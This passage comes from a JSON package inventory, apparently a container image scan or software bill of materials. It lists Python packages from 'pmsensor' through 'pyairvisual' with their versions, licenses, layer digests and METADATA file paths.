"2cebf6d554cd7442" }, "Version": "0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pmsensor-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "poolsense", "Identifier": { "PURL": "pkg:pypi/poolsense@0.0.8", "UID": "8d6de83180df7314" }, "Version": "0.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/poolsense-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "powerfox", "Identifier": { "PURL": "pkg:pypi/powerfox@2.1.1", "UID": "2550b7f3ec354e8" }, "Version": "2.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/powerfox-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prana-api-client", "Identifier": { "PURL": "pkg:pypi/prana-api-client@0.12.0", "UID": "bb8d7143f00d85e9" }, "Version": "0.12.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prana_api_client-0.12.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "praw", "Identifier": { "PURL": "pkg:pypi/praw@7.5.0", "UID": "ef26d95e5622b5b8" }, "Version": "7.5.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/praw-7.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prawcore", "Identifier": { "PURL": "pkg:pypi/prawcore@2.4.0", "UID": "a5dc5ccba7190586" }, "Version": "2.4.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prawcore-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prayer_times_calculator_offline", "Identifier": { "PURL": "pkg:pypi/prayer-times-calculator-offline@1.0.3", "UID": "486fe5c5a2d7303e" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prayer_times_calculator_offline-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pre_commit", "Identifier": { "PURL": "pkg:pypi/pre-commit@4.6.0", "UID": "6854ee5551f932f5" }, "Version": "4.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pre_commit-4.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prettytable", "Identifier": { "PURL": "pkg:pypi/prettytable@3.18.0", "UID": "bd71242e791cfd1d" }, "Version": "3.18.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prettytable-3.18.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "proliphix", "Identifier": { "PURL": "pkg:pypi/proliphix@0.4.1", "UID": "d3fce25c82fa04b" }, "Version": "0.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/proliphix-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prometheus_client", "Identifier": { "PURL": "pkg:pypi/prometheus-client@0.21.0", "UID": "393b08c7e49945d2" }, "Version": "0.21.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prometheus_client-0.21.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prompt_toolkit", "Identifier": { "PURL": "pkg:pypi/prompt-toolkit@3.0.52", "UID": "4749b6c1fd3da215" }, "Version": "3.0.52", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prompt_toolkit-3.0.52.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "propcache", "Identifier": { "PURL": "pkg:pypi/propcache@0.5.2", "UID": "eb27dd4dad820eb7" }, "Version": "0.5.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/propcache-0.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "proto-plus", "Identifier": { "PURL": "pkg:pypi/proto-plus@1.28.1", "UID": "73218d12f289a359" }, "Version": "1.28.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/proto_plus-1.28.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "protobuf", "Identifier": { "PURL": "pkg:pypi/protobuf@6.32.0", "UID": "bd932f1002130659" }, "Version": "6.32.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/protobuf-6.32.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prowlpy", "Identifier": { "PURL": "pkg:pypi/prowlpy@1.1.5", "UID": "152e0905a7885052" }, "Version": "1.1.5", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/prowlpy-1.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "proxmoxer", "Identifier": { "PURL": "pkg:pypi/proxmoxer@2.3.0", "UID": "d0b4c68203d30065" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/proxmoxer-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psnawp", "Identifier": { "PURL": "pkg:pypi/psnawp@3.0.3", "UID": "4e10fb2dbd3f3384" }, "Version": "3.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/psnawp-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psutil", "Identifier": { "PURL": "pkg:pypi/psutil@7.2.2", "UID": "9ed3094c3d94c3b" }, "Version": "7.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/psutil-7.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psutil-home-assistant", "Identifier": { "PURL": "pkg:pypi/psutil-home-assistant@0.0.1", "UID": "d21f16adbf531569" }, "Version": "0.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/psutil_home_assistant-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psycopg2", "Identifier": { "PURL": "pkg:pypi/psycopg2@2.9.12", "UID": "aa26c9a9794a0add" }, "Version": "2.9.12", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, "FilePath": "usr/local/lib/python3.14/site-packages/psycopg2-2.9.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ptyprocess", "Identifier": { "PURL": "pkg:pypi/ptyprocess@0.7.0", "UID": "2f2ce64678ce487b" }, "Version": "0.7.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ptyprocess-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pulsectl", "Identifier": { "PURL": "pkg:pypi/pulsectl@23.5.2", "UID": "e16a2c3ac7c2e418" }, "Version": "23.5.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pulsectl-23.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pure-python-adb", "Identifier": { "PURL": "pkg:pypi/pure-python-adb@0.3.0.dev0", "UID": "24610be3b0996f31" }, "Version": "0.3.0.dev0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pure_python_adb-0.3.0.dev0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pushbullet.py", "Identifier": { "PURL": "pkg:pypi/pushbullet.py@0.11.0", "UID": "f6458e65cc9114c9" }, "Version": "0.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pushbullet.py-0.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pushover_complete", "Identifier": { "PURL": "pkg:pypi/pushover-complete@1.2.0", "UID": "12bfeab3fc6252fc" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pushover_complete-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pvo", "Identifier": { "PURL": "pkg:pypi/pvo@3.0.0", "UID": "56d84547e625c185" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pvo-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-aosmith", "Identifier": { "PURL": "pkg:pypi/py-aosmith@1.0.18", "UID": "2fefee7560230c16" }, "Version": "1.0.18", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_aosmith-1.0.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-canary", "Identifier": { "PURL": "pkg:pypi/py-canary@0.5.4", "UID": "dc4240b360657a0" }, "Version": "0.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_canary-0.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-cpuinfo", "Identifier": { "PURL": "pkg:pypi/py-cpuinfo@9.0.0", "UID": "66f37f4c5801ac98" }, "Version": "9.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_cpuinfo-9.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-dactyl", "Identifier": { "PURL": "pkg:pypi/py-dactyl@2.0.4", "UID": "ff111cd9eccbdeb8" }, "Version": "2.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_dactyl-2.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-dormakaba-dkey", "Identifier": { "PURL": "pkg:pypi/py-dormakaba-dkey@1.0.6", "UID": "14cf81e2665780ed" }, "Version": "1.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_dormakaba_dkey-1.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-improv-ble-client", "Identifier": { "PURL": "pkg:pypi/py-improv-ble-client@2.0.1", "UID": "828b7f6ae2c37d49" }, "Version": "2.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_improv_ble_client-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-melissa-climate", "Identifier": { "PURL": "pkg:pypi/py-melissa-climate@3.0.3", "UID": "6a82f0a0ca82c979" }, "Version": "3.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_melissa_climate-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-nymta", "Identifier": { "PURL": "pkg:pypi/py-nymta@0.4.0", "UID": "f987b1f27ad4bbfe" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_nymta-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-opendisplay", "Identifier": { "PURL": "pkg:pypi/py-opendisplay@7.2.3", "UID": "97e5b1d851f66d7f" }, "Version": "7.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_opendisplay-7.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-schluter", "Identifier": { "PURL": "pkg:pypi/py-schluter@0.1.7", "UID": "a8cbc86a542a4eef" }, "Version": "0.1.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_schluter-0.1.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-sucks", "Identifier": { "PURL": "pkg:pypi/py-sucks@0.9.11", "UID": "b3a8de47bcf808c" }, "Version": "0.9.11", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_sucks-0.9.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-synologydsm-api", "Identifier": { "PURL": "pkg:pypi/py-synologydsm-api@2.10.3", "UID": "ff651a94e3f6ef18" }, "Version": "2.10.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_synologydsm_api-2.10.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-unifi-access", "Identifier": { "PURL": "pkg:pypi/py-unifi-access@1.3.0", "UID": "e657691072a0b826" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_unifi_access-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py-vapid", "Identifier": { "PURL": "pkg:pypi/py-vapid@1.9.4", "UID": "45836c1feb2fef8" }, "Version": "1.9.4", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_vapid-1.9.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py3rijndael", "Identifier": { "PURL": "pkg:pypi/py3rijndael@0.3.3", "UID": "55f35e971d5eb499" }, "Version": "0.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py3rijndael-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyAtome", "Identifier": { "PURL": "pkg:pypi/pyatome@0.1.2", "UID": "135588d0101508fd" }, "Version": "0.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyatome-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyCEC", "Identifier": { "PURL": "pkg:pypi/pycec@0.5.2", "UID": "e350731975d1ca4b" }, "Version": "0.5.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyCEC-0.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyControl4", "Identifier": { "PURL": "pkg:pypi/pycontrol4@1.5.0", "UID": "af9c2cda20336d67" }, "Version": "1.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pycontrol4-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyDuotecno", "Identifier": { "PURL": "pkg:pypi/pyduotecno@2024.10.1", "UID": "ccf2399094854e83" }, "Version": "2024.10.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyDuotecno-2024.10.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyEGPS", "Identifier": { "PURL": "pkg:pypi/pyegps@0.2.5", "UID": "331712c698acbfb2" }, "Version": "0.2.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyEGPS-0.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyEcoTrend-ista", "Identifier": { "PURL": "pkg:pypi/pyecotrend-ista@3.4.0", "UID": "1c8e3f51bd7887c6" }, "Version": "3.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyecotrend_ista-3.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyElectra", "Identifier": { "PURL": "pkg:pypi/pyelectra@1.2.4", "UID": "969acb583852e0ab" }, "Version": "1.2.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyElectra-1.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyEmby", "Identifier": { "PURL": "pkg:pypi/pyemby@1.10", "UID": "43a070d9dca5ed3f" }, "Version": "1.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyEmby-1.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyHik", "Identifier": { "PURL": "pkg:pypi/pyhik@0.4.3", "UID": "26742d8d98387fdf" }, "Version": "0.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhik-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyHomee", "Identifier": { "PURL": "pkg:pypi/pyhomee@1.4.0", "UID": "8c2ccc99721a390e" }, "Version": "1.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhomee-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyOpenSSL", "Identifier": { "PURL": "pkg:pypi/pyopenssl@26.2.0", "UID": "1c1d4dce3aae6ab8" }, "Version": "26.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyopenssl-26.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyRFC3339", "Identifier": { "PURL": "pkg:pypi/pyrfc3339@2.1.0", "UID": "cb714061481e815f" }, "Version": "2.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrfc3339-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyRFXtrx", "Identifier": { "PURL": "pkg:pypi/pyrfxtrx@0.31.1", "UID": "35369267216f2b65" }, "Version": "0.31.1", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyRFXtrx-0.31.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pySDCP", "Identifier": { "PURL": "pkg:pypi/pysdcp@1", "UID": "8ce6b4c9cfb554f0" }, "Version": "1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pySDCP-1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyTibber", "Identifier": { "PURL": "pkg:pypi/pytibber@0.37.6", "UID": "f156846d8ec0e60" }, "Version": "0.37.6", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytibber-0.37.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyW215", "Identifier": { "PURL": "pkg:pypi/pyw215@0.8.0", "UID": "4ec949fac385a655" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyw215-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyW800rf32", "Identifier": { "PURL": "pkg:pypi/pyw800rf32@0.4", "UID": "90153d79905b5125" }, "Version": "0.4", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyW800rf32-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py_ccm15", "Identifier": { "PURL": "pkg:pypi/py-ccm15@0.6.0", "UID": "f8909ec90fd3f381" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_ccm15-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py_madvr2", "Identifier": { "PURL": "pkg:pypi/py-madvr2@1.6.40", "UID": "7ec99ec8951f18c7" }, "Version": "1.6.40", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_madvr2-1.6.40.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py_nextbusnext", "Identifier": { "PURL": "pkg:pypi/py-nextbusnext@2.3.0", "UID": "bd9580b49173f63e" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_nextbusnext-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "py_nightscout", "Identifier": { "PURL": "pkg:pypi/py-nightscout@1.2.2", "UID": "b29b5cdcfff761a5" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/py_nightscout-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyads", "Identifier": { "PURL": "pkg:pypi/pyads@3.4.0", "UID": "55476b88c4635457" }, "Version": "3.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyads-3.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaehw4a1", "Identifier": { "PURL": "pkg:pypi/pyaehw4a1@0.3.9", "UID": "2d63d9cc13a94406" }, "Version": "0.3.9", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaehw4a1-0.3.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaes", "Identifier": { "PURL": "pkg:pypi/pyaes@1.6.1", "UID": "292705b4abda50ff" }, "Version": "1.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaes-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyaftership", "Identifier": { "PURL": "pkg:pypi/pyaftership@21.11.0", "UID": "5a2e8b944becd380" }, "Version": "21.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyaftership-21.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyairnow", "Identifier": { "PURL": "pkg:pypi/pyairnow@1.3.1", "UID": "8e0137bdda3be844" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyairnow-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyairobotrest", "Identifier": { "PURL": "pkg:pypi/pyairobotrest@0.3.0", "UID": "bef3adcf9c636661" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyairobotrest-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyairvisual", 